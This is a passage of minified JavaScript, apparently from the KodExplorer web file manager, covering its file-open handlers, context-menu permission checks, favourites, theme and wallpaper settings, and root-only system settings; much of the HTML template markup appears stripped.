rb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
        ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
        '+LNG.unknow_file_tips+"
        "+t+'
        2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+r+o+'">'+LNG.unknow_file_download+'
        '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"),define("app/src/setting/fav",[],function(){var e=G.appHost+"fav/",t=function(t){$.ajax({url:e+"get",dataType:"json",async:!1,success:function(e){return e.code?(a(e.data,t),void 0):(Tips.tips(e),void 0)},error:function(){return!1}})},a=function(e,t){var a="
        "+""+""+"";for(var i in e)a+=""+" "+" "+" "+"";if($("table#list").html(a),t&&"fav&"==t.substring(0,4)){var n=t.split("&")[1].split("=")[1],o=t.split("&")[2].split("=")[1],s=t.split("&")[3].split("=")[1];n=htmlEncode(urlDecode(n)),o=htmlEncode(urlDecode(o));var r=""+" "+" "+" "+"";$(r).insertAfter("table#list tr:last")}},i=function(){var e=""+"";$(e).insertAfter("table#list tr:last")},n=function(){var e=$(this).parent().parent();$(e).detach()},o=function(){var t=$(this).parent().parent(),a=$(t).find("#sname").val(),i=$(t).find("#spath").val(),n=$(t).find("#stype").val();return""==a||""==i?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({url:e+"add&name="+urlEncode(a)+"&path="+urlEncode(i)+"&type="+n,dataType:"json",success:function(e){if(Tips.tips(e),e.code){$(t).attr("name",a),$(t).attr("path",i);var n=""+"";$(t).find("td.action").html(n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()})}}}),void 0)},s=function(){var a=$(this).parent().parent(),i=$(a).attr("name"),n=$(a).find("#sname").val(),o=$(a).find("#spath").val();return""==n||""==o?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({dataType:"json",url:e+"edit&name="+urlEncode(i)+"&nameTo="+urlEncode(n)+"&pathTo="+urlEncode(o),success:function(e){Tips.tips(e),e.code&&($(a).attr("name",n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}),t())}}),void 0)},r=function(){var t=$(this).parent().parent(),a=$(t).attr("name");$.ajax({url:e+"del&name="+urlEncode(a),dataType:"json",async:!1,success:function(e){Tips.tips(e),e.code&&($(t).detach(),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}))}})},l=function(){$(".fav .add").live("click",i),$(".fav .addexit").live("click",n),$(".fav .addsave").live("click",o),$(".fav .edit").live("click",s),$(".fav .del").live("click",r)};return l(),{init:t}}),define("app/src/setting/setting",[],function(e){var t,a=function(e){core.setSkin(e),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),"diy"!=e?$(".theme-diy-setting").addClass("hidden"):$(".theme-diy-setting").removeClass("hidden")},i=function(e){core.setSkin(e)};template.helper("menuInfoDecode",function(e){var t=htmlEncode(urlDecode(e));return t});var n=function(t){var a={about:e("./page/about.html"),fav:e("./page/fav.html"),help:e("./page/help.html"),member:e("./page/member.html"),system:e("./page/system.html"),theme:e("./page/theme.html"),user:e("./page/user.html"),wall:e("./page/wall.html")};return a[t]},o=function(e){(""==e||void 0==e)&&(e="user"),t=e,"fav&"==e.substring(0,4)&&(e="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+e).addClass("selected");var a=window.location.href;-1!=a.indexOf("#")&&(a=a.substr(0,a.indexOf("#"))),window.location.href=a+"#"+e,$.ajax({url:G.appHost+"setting/slider&slider="+e,beforeSend:function(){$(".main").html("")},success:function(a){if("about"==e){var i=a.data;if(a.data="",!core.tools.about(i))return;a.data=i}var o=$(".menu-left .selected").clone();o.find(".ripple-father").remove();var r="
        "+o.html()+"
        ",l=n(e),c=template.compile(l),d=c({urlDecode:urlDecode,LNG:LNG,G:G,data:a.data,info:a.info});$(".main").html(r+d),$(".main").fadeIn("fast"),"fav"==e&&Fav.init(t),"member"==e&&System.init(),"theme"==e&&s(),t=e,$("a,img").attr("draggable","false")}})},s=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$(".control-slider").slider().on("slide",a)}),e.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color-picker").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var i=$($(this).data("colorpicker").el);i.val("#"+t),i.parent().find(".btn i").css("background",i.val()),a()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),$(".color-picker-view").click(function(){$(this).parent().find(".color-picker").click()})});var t=$(".theme-diy-setting");t.find("input[name]").unbind("change").bind("change",function(){var e=$(this).attr("name");"bgType"==e&&($(".theme-bg-type-image,.theme-bg-type-color").addClass("hidden"),$(".theme-bg-type-"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||a()}),t.find(".theme-diy-save").unbind("click").bind("click",function(){var e=G.userConfig.themeDIY;$.ajax({url:G.appHost+"setting/set&k=themeDIY&v="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})}),t.find(".color-list").each(function(){var e=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+e.colorRotate+"deg,"+e.startColor+","+e.endColor+")")}),t.find(".color-list").unbind("click").bind("click",function(){var e=jsonDecode($(this).attr("data-color"));$.each(e,function(e,i){var n=t.find("input[name="+e+"]");"colorRotate"==e?$("#colorRotate").slider("setValue",parseInt(i)):(n.val(i),n.parent().find(".color-picker-view i").css("background",i)),a()})});var a=function(){if("diy"==LocalData.get("theme")){var e={};t.find("input[name]").each(function(){var a=$(this).attr("name"),i=$(this).val();"checkbox"==$(this).attr("type")?i=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(i=t.find("[name="+a+"]:checked").val()),e[a]=i}),LocalData.setConfig("kodStyleDiy",e),core.setSkin("diy"),ShareData.frameTop("",function(e){e.ui.setTheme("diy")})}}},r=function(){1!=G.isRoot&&$("ul.setting #system").remove(),G.isRoot||core.authCheck("systemMember.get")||core.authCheck("systemGroup.get")?$("ul.setting #member").show():$("ul.setting #member").hide(),t=location.hash.split("#",2)[1],o(t),$("ul.setting a").click(function(){t!=$(this).attr("id")&&(t=$(this).attr("id"),o(t))}),$("#password-new").keyEnter(function(){Setting.tools()}),$(".setting-user-basic .form-row input").die("change").live("change",function(){var e=$(this),t=e.attr("name"),a=e.val();"checkbox"==e.attr("type")&&(a=e.prop("checked")?"1":"0"),l(t,a)}),$(".path-select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(e){var e=core.path2url(e);$(".path-select").parent().find("input[type=text]").val(e).trigger("change"),Setting.tools() -})}),$(".randomImage").die("click").live("click",function(){var e=$(this),t=function(e){var t=G.myDesktop+"wallpage/";$.get(G.appHost+"explorer/mkdir&repeat_type=replace&path="+t,function(){$.get(G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e))})};core.api.randomImage(function(a){e.addClass("moveCircle"),e.parent().find("input[type=text]").val(a).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){e.removeClass("moveCircle")},1e3),t(a)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e=$(this),t=e.parent();switch(type=t.attr("data-type"),value=e.attr("data-value"),t.find(".this").removeClass("this"),e.addClass("this"),type){case"wall":var i=G.staticPath+"images/wall_page/"+value+".jpg";$("#wallpage-url").val(""),ShareData.frameTop("",function(e){e.ui.setWall(i)});break;case"theme":a(value);break;default:}l(type,value)}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var e=$(this).attr("data-page"),t=$(this).parent().parent();t.find(".setting-tab").addClass("hidden"),t.find("."+e).removeClass("hidden").hide().fadeIn(200)})},l=function(e,t){var a=G.appHost+"setting/set&k="+e+"&v="+t;$.ajax({url:a,dataType:"json",success:function(e){e.code?Tips.tips(e):core.authCheck("setting.set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},c=function(){var e=$(".selected").attr("id");switch(e){case"user":var t=urlEncode($("#password-now").val()),a=urlEncode($("#password-new").val());if(""==a||""==t){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:G.appHost+"user/changePassword&passwordNow="+t+"&passwordNew="+a,dataType:"json",success:function(e){if(Tips.tips(e),e.code){var t=ShareData.frameTop();t.location.href=G.appHost+"user/logout"}}});break;case"wall":var i=$("#wallpage-url").val();if(""==i){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(e){e.ui.setWall(i)}),$(".box").find(".this").removeClass("this"),$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(i),dataType:"json",success:function(e){Tips.tips(e)}});default:}};return r(),{setGoto:o,tools:c,setThemeSelf:i,setTheme:a}}),define("app/src/setting/page/about.html",[],'
        \n
        {{@data}}
        \n
        \n'),define("app/src/setting/page/fav.html",[],'
        \n
        "+htmlEncode(LNG.name)+"("+LNG.can_not_repeat+")"+htmlEncode(LNG.address)+"("+LNG.absolute_path+")"+LNG.action+"
        "+" "+" "+"
        "+" "+" "+"
        "+" "+"
        \n {{LNG.button_add}}\n\n'),define("app/src/setting/page/help.html",[],'
        \n
        {{@data}}
        \n
        \n'),define("app/src/setting/page/member.html",[],'
        \n
        \n
        \n
        {{LNG.system_group_edit}}
        \n
        {{LNG.system_group_role}}
        \n
        \n
        \n
        \n
        \n
        \n\n \n
        \n \n\n
        \n
        \n
        \n --\n id:\n \n\n \n \n 111/1.5\n
        \n
        \n
        \n
        \n
        \n \n\n \n \n
        \n\n\n\n'),define("app/src/setting/page/system.html",[],'\n\n{{if G.isRoot}}\n
        \n {{if kod.window.core.versionType !="A"}}\n \n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3","R":"4","S":"5","T":"6"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[kod.window.core.versionType] }}{{/if}}\n {{LNG[verKey]}}\n
        \n{{/if}}\n\n\n
        \n
        \n
        \n
        {{LNG.system_name}}:
        \n
        \n \n {{LNG.system_name_desc}}\n \n
        \n
        \n
        \n\n
        \n
        {{LNG.system_desc | kod.window.htmlEncode}}:
        \n
        \n \n {{LNG.system_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.path_hidden}}:
        \n
        \n \n {{LNG.path_hidden_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.new_user_folder}}:
        \n
        \n \n {{LNG.new_user_folder_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.new_user_app}}:
        \n
        \n \n {{LNG.new_user_app_desc}}\n
        \n
        \n
        \n
        \n
        {{LNG.auto_login}}:
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.first_in}}:
        \n
        \n \n \n \n
        \n
        \n
        \n\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n\n\n\n\n\n\n\n\n\n\n'),define("app/src/setting/page/theme.html",[],'
        \n
        \n {{each data.settingAll.themeall.split(\',\') value key}}\n
        \n
        \n
        {{@LNG[\'theme_\'+value]}}
        \n
        \n {{/each}}\n\n {{each data.settingAll.themeall.split(\',\') value key}}\n
        \n {{/each}}\n \n
        \n
        \n
        \n\n{{if config = G.userConfig.themeDIY}}{{/if}}\n
        \n

        {{LNG.theme_diy_title}}

        \n
        \n
        \n
        {{LNG.theme_diy_background}}:
        \n
        \n \n \n
        \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_image_blur}}:
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.theme_diy_image_url}}:
        \n
        \n \n \n \n
        \n
        \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_color_start}}:
        \n
        \n \n \n   \n
        \n
        \n
        \n
        \n
        {{LNG.theme_diy_color_end}}:
        \n
        \n \n \n  \n
        \n
        \n
        \n
        \n
        {{LNG.theme_diy_color_radius}}:
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        \n'),define("app/src/setting/page/user.html",[],'\n\n
        \n
        \n
        \n
        {{LNG.recycle_open_if}}:
        \n
        \n \n
        \n
        \n
        \n\n\n
        \n
        {{LNG.setting_user_animate_open}}:
        \n
        \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.setting_user_sound_open}}:
        \n
        \n \n
        \n
        \n
        \n
        \n\n
        \n
        {{LNG.upload_exist}}:
        \n
        \n \n \n \n
        \n
        \n
        \n
        \n
        \n\n
        \n
        {{LNG.setting_user_imageThumb}}:
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.setting_user_fileSelect}}:
        \n
        \n \n
        \n
        \n
        \n\n\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n
        \n\n\n\n'),define("app/src/setting/page/wall.html",[],'
        \n
        \n {{each data.settingAll.wallall.split(\',\') value key}}\n
        \n
        \n
        \n {{/each}}\n {{each data.settingAll.wallall.split(\',\') value key}}\n
        \n {{/each}}\n
        \n
        \n
        \n\n\n
        \n

        {{LNG.setting_wall_diy}}

        \n
        \n
        \n
        URL:
        \n
        \n 3}}value="{{data.user.wall}}"{{/if}}/> \n \n \n
        \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n
        \n
        \n
        \n'),define("app/src/setting/system/systemSetting",[],function(){var e=function(){$("input[name='firstIn']").live("click",function(){$("input[name='firstIn']").removeAttr("checked"),$(this).attr("checked","checked") -}),$(".setting-save").die("click").live("click",function(){var e={};$(this).parents(".setting-tab").find(".form-row [name]").each(function(){var t=$(this),a=t.attr("name");e[a]="checkbox"==t.attr("type")?void 0==t.attr("checked")?"0":"1":"radio"==t.attr("type")?$("[name="+a+"]:checked").val():urlEncode(t.val())}),n(e)}),$(".system-setting-more").die("click").live("click",function(){if(G.isRoot){var e=G.basicPath+"config/setting_user.php",t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&("hidden"==$("."+a.config.id).css("visibility")&&(i=200),a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}}}),t(),a(),i()},t=function(){$(".phpinfo").die("click").live("click",function(){$.dialog.open(G.appHost+"setting/phpInfo&accessToken="+G.accessToken,{title:"php_info",width:"70%",height:"65%",resize:!0})}),$.get(G.appHost+"setting/slider&slider=system&env_check=1",function(e){if(e&&""!=e.data){Tips.tips(e.data,"warning");var t=$(".check-evn-error");t.removeClass("hidden"),t.find(".error-content").html(e.data)}})},a=function(){$('.setting-menu .menu-list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting-menu .system-menu-add").die("click").live("click",function(){var e=$(".menu-default").clone().removeClass("menu-default hidden").addClass("menu-list");e.insertAfter(".setting-menu .menu-list:last")}),$(".setting-menu .menu-list .move-up").die("click").live("click",function(){var e=$(this).parent().parent();e.prev().hasClass("menu-list")&&e.insertBefore(e.prev())}),$(".setting-menu .menu-list .move-down").die("click").live("click",function(){var e=$(this).parent().parent();e.next().hasClass("menu-list")&&e.insertAfter(e.next())}),$(".setting-menu .menu-list .move-hidden").die("click").live("click",function(){var e=$(this).parent().parent();e.hasClass("menu-hidden")?(e.removeClass("menu-hidden"),$(this).text(LNG.menu_hidden)):(e.addClass("menu-hidden"),$(this).text(LNG.menu_show))}),$(".setting-menu .menu-list .move-del").die("click").live("click",function(){var e=$(this).parent().parent();e.remove()}),$(".system-menu-save").die("click").live("click",function(){var e=[];$(".setting-menu .menu-list").each(function(){var t=$(this),a={};t.hasClass("menu-default")||(t.find("input").each(function(){var e=$(this).attr("value");"checkbox"==$(this).attr("type")&&(e=Number($(this).prop("checked"))),"target"==$(this).attr("name")&&e&&(e="_blank"),a[$(this).attr("name")]=urlEncode(e)}),""!=a.name&&(a.use="1",a.type="",t.hasClass("menu-hidden")&&(a.use="0"),t.hasClass("menu-system")&&(a.type="system"),e.push(a),console.log(1,a)))}),console.log(2,e),n({menu:e})})},i=function(){$("[system-tools]").die("click").live("click",function(){var e=$(this),t=e.attr("system-tools"),a=htmlRemoveTags(e.html());e.addClass("disabled").html(LNG.loading),Tips.loading(LNG.loading),$.ajax({url:G.appHost+"setting/systemTools&action="+t,dataType:"json",error:function(t,i,n){core.ajaxError(t,i,n),Tips.close(LNG.error,!1),e.removeClass("disabled").html(a)},success:function(t){Tips.close(t),setTimeout(function(){e.removeClass("disabled").html(a)},300)}})})},n=function(e){$.ajax({url:G.appHost+"setting/systemSetting",type:"POST",data:"accessToken="+G.accessToken+"&data="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})};1==G.isRoot&&e()}),define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./systemMember","./systemGroup","./systemRole","./systemGroupRole"],function(e){e("lib/contextMenu/jquery-contextMenu"),e("lib/ztree/ztree");var 